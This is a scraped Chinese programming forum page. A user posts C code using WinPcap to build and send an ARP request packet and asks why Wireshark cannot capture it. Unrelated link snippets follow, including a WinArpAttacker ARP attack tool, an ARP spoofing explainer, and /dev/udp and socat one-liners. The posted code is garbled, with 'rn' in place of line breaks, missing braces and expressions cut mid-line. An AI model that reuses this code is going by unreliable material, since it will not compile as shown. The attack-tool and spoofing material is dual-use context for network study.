#define WIN32rn#define HAVE_REMOTErn#include rn#include "winsock2.h"rn#include "pcap.h"rn#include "Packet32.h"rn#pragma comment(lib, "ws2_32.lib")rnrntypedef struct DLCHEADERrnrn unsigned char eth_addr_des[6];//以太网目的地址rn unsigned char eth_addr_src[6];//以太网源地址rn unsigned short frame_type; //帧类型rnDlcHeader;rnrntypedef struct ARPFRAMErnrn unsigned short hwtype; //硬件类型rn unsigned short protrol_type; //协议类型rn unsigned char hw_length; //硬件地址长度rn unsigned char pro_length; //协议地址长度 rn unsigned short op; //ARP包类型;rn unsigned char mac_src[6];//发送端以太网地址rn unsigned long ip_src; //发送端IP地址rn unsigned char mac_des[6];//目的以太网地址rn unsigned long ip_des; //目的IP地址rn unsigned char pading[18]; //填充位rnArpFrame;rnrntypedef struct ARPPACKETrnrn DlcHeader arp_header;rn ArpFrame arp_frame;rnArpPacket;rnrn/****************************************************************************rn* Name & Params::rn* formatStrToMACrn* (rn* const LPSTR lpHWAddrStr : 用户输入的MAC地址字符串rn* unsigned char *HWAddr : 返回的MAC地址字符串(赋给数据包结构体)rn* )rn* Purpose:rn* 将用户输入的MAC地址字符转成数据包结构体需要的格式rn****************************************************************************/rnvoid formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)rnrn unsigned int i, index = 0, value, temp;rn unsigned char c;rn _strlwr(lpHWAddrStr); // 转换成小写rn for (i = 0; i < strlen(lpHWAddrStr); i++)rn rn c = *(lpHWAddrStr + i);rn if (( c>='0' && c='a' && c='0' && c='a' && carp_header.eth_addr_src);rn formatStrToMAC("ffffffffffff",APbuf->arp_header.eth_addr_des);rn APbuf->arp_header.frame_type=htons((u_short)0x0806);rn APbuf->arp_frame.hwtype=htons((u_short)1);//以太网类型rn APbuf->arp_frame.protrol_type=htons((u_short)0x0800);rn APbuf->arp_frame.hw_length=(u_char)6;rn APbuf->arp_frame.pro_length=(u_char)4;rn APbuf->arp_frame.op=htons((u_short)0x0001);rn formatStrToMAC("00e0524ca312",APbuf->arp_frame.mac_src);rn APbuf->arp_frame.ip_src=inet_addr("202.192.165.169");rn formatStrToMAC("ffffffffffff",APbuf->arp_frame.mac_des);rn APbuf->arp_frame.ip_des=inet_addr("202.192.165.199");rn for(i=0;iarp_frame.pading[i]=i;rnrnrn rnrnrnrnrnint main()rnrn pcap_if_t *alldevs;rn pcap_if_t *d;rn int inum;rn int i=0;rn pcap_t *adhandle;rn char errbuf[PCAP_ERRBUF_SIZE];rn int ret=-1;rn int MaxPacketLen=100;rn ArpPacket *pbuf;rn u_char *pBuf;rn rn /* 获取本机网络设备列表*/rnif (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, rn&alldevs, errbuf) == -1)rn rn fprintf(stderr,rn"Error in pcap_findalldevs: %s\n", errbuf);rn exit(1);rn rn rn /* 打印网络设备列表*/rn for(d=alldevs; d; d=d->next)rn rn printf("%d. %s", ++i, d->name);rn if (d->description)rn printf(" (%s)\n", d->description);rn elsern printf(" (No description available)\n");rn rn rn if(i==0)rn rn printf("\nNo interfaces found! Make sure WinPcap is installed.\n");rn return -1;rn rnrn /*选择网络设备接口*/rn printf("Enter the interface number (1-%d):",i);rn scanf("%d", &inum);rn rn if(inum < 1 || inum > i)rn rn printf("\nInterface number out of range.\n");rn /* 释放设备列表*/rn pcap_freealldevs(alldevs);rn return -1;rn rn rn /* 跳转到选中的适配器*/rn for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);rn rn /* 打开设备*/rnif ( (adhandle= pcap_open(d->name, 65536, rnPCAP_OPENFLAG_PROMISCUOUS, 1000, NULL,errbuf) ) rn== NULL)rn rn fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);rn /* 释放设备列表*/rn pcap_freealldevs(alldevs);rn return -1;rn rnrn /*在选中的设备接口上监听数据*/rn printf("\nlistening on %s...\n", d->description);rn rnrn pbuf=(ArpPacket *)malloc(sizeof(ArpPacket));rn GenArpPacket(pbuf);rn if ( (ret=pcap_sendpacket(adhandle,pbuf,sizeof(ArpPacket)))rn!=0)rn rn printf("发送失败\n");rn pcap_close(adhandle);rn pcap_freealldevs(alldevs);rn return -1;rn rn elsern printf("发送成功\n");rnrnrn /*释放资源*/rn free(pbuf);rn pcap_close(adhandle);rn pcap_freealldevs(alldevs);rn rn getch();rnrnrn请高手们看看有没有错,程序是可以运行的,而且还显示到发送成功,但我用WireShark捕获时却捕获不到,通过指定IP地址和ARP协议为条件进行捕获的,我现在不知道是程序错误还是捕获那方面出错啊!!!!!郁闷
单片机enc28j60的ARP实验
一、ARP的功能 ARP的基本功能是使用目标主机的IP(网络地址)地址,查询对应的MAC(物理地址)地址,以保证底层连路上数据包通信的进行。 二、ARP的种类 ARP的种类包括两种: ARP请求包--通过以太网广播的方式发送的,用于向具有某个IP地址的主机发送请求,希望该主机返回其MAC地址。 ARP应答包--收到ARP请求的主机会比对该数据包的IP地址与自己的IP地址是否符合,
Linux 直接发送UDP包
如果往本地UDP端口發送數據,那麼可以使用以下命令: echo “hello” &amp;gt; /dev/udp/192.168.1.81/5060 意思是往本地192.168.1.81的5060端口發送數據包hello。 如果往遠程UDP端口發送數據,那麼可以使用以下命令: echo “hello” | socat - udp4-datagram:192.168.1.80:5060 意思是往遠程192...
WinArpAttacker
不多说,实用工具,除了多种attack方式外,可以扫描网段内MAC,分析<em>arp包</em>的流量,查找arp攻击病毒源。
arp报文发送
构造ARP包,选择并打开网卡,将ARP报文发送出去。另外,附上winPcap的配置文档。基于mfc
5 ARP协议(链路层)+网络部分总结
首先说说链路层的作用,用于同一数据链路两个节点之间的传输。那么主机向路由器传输、主机向主机传输、路由器向路由器传输、路由器向主机传输都是链路层的工作。 先来介绍几个概念 网卡: (NIC)(网络适配器),是电脑与局域网相互连接的设备。 处于 1. 物理层(PHY) :将数据封装成帧 2. 数据链路层(MAC):接收网络其他设备传来的帧(只接受该电脑的帧) M...
H3C_ARP攻击防御典型配置案例
本文主要介绍如何利用以太网交换机DHCP监控模式下的防ARP攻击功能,防止校园网中常见的“仿冒网关”、“欺骗网关”、“欺骗终端用户”、ARP泛洪等攻击形式。同时,详细描述了组网中各个设备的配置步骤和配置注意事项,指导用户进行实际配置。
发送ARP请求源码
发送ARP请求源码及其实验书图片。实验指导书图片。源代码
winpcap方式获取内网MAC地址
winpcap方式获取内网MAC地址,通向局域网广播ARP包来获取在线机子的网卡MAC地址。
ARP/RARP(地址解析/反向地址解析)报文格式
ARP/RARP(地址解析/反向地址解析)报文格式如下图:  “硬件类型”域指发送者本机网络接口类型(值“1”代表以太网)。“协议类型”域指发送者所提供/请求的高级协议地址类型(“0x0800”代表 IP协议)。“操作”域指出本报文的类型(“1”为ARP请求,“2”为ARP响应,“3”为RARP请求,“4”为RARP响应)。
使用wireshark进行arp欺骗检测
想要检测arp欺骗,就必须再次温习一下arp欺骗的原理和细节。 ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网上上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚...
Lucene.In.Action.2nd.Edition下载
最新版Lucene.In.Action 2nd Edition,2010年7月版,相当清晰 相关下载链接:[url=//download.csdn.net/download/toothlou/2893264?utm_source=bbsseo]//download.csdn.net/download/toothlou/2893264?utm_source=bbsseo[/url]
100个java编程实例源代码下载
这里有100个java编程实例的源代码,从简单到复杂,对学习java很有帮助 相关下载链接:[url=//download.csdn.net/download/piaobosiSE/2952325?utm_source=bbsseo]//download.csdn.net/download/piaobosiSE/2952325?utm_source=bbsseo[/url]
天鹰ddos防火墙487旗舰版下载
【V4.87 Build20120402.1 更新说明】-- 2012年04月02日 1. 新功能: 1.1 增加了网络失连情况下自动卸载、重启功能,确保服务器永不失连; 1.2 增加了智能自动攻击开启阀值检测、设置功能; 1.3 增加了日志写日志记录功能,既,将防火墙所有日志记录到系统日志记录; 1.4 增加windows2008 64位系统下,自动UAC和驱动仿真模式提示和设置功能; 1.5 增加数据包文件自动提醒、删除功能; 2. Bug修复: 2.1 增加了内核自旋锁,修复有时候系统自动重启的Bug; 2.2 优化了内核架构,进一步提示网络运行性能; 2.3 相关下载链接:[url=//download.csdn.net/download/gzp46603/4221024?utm_source=bbsseo]//download.csdn.net/download/gzp46603/4221024?utm_source=bbsseo[/url]
我们是很有底线的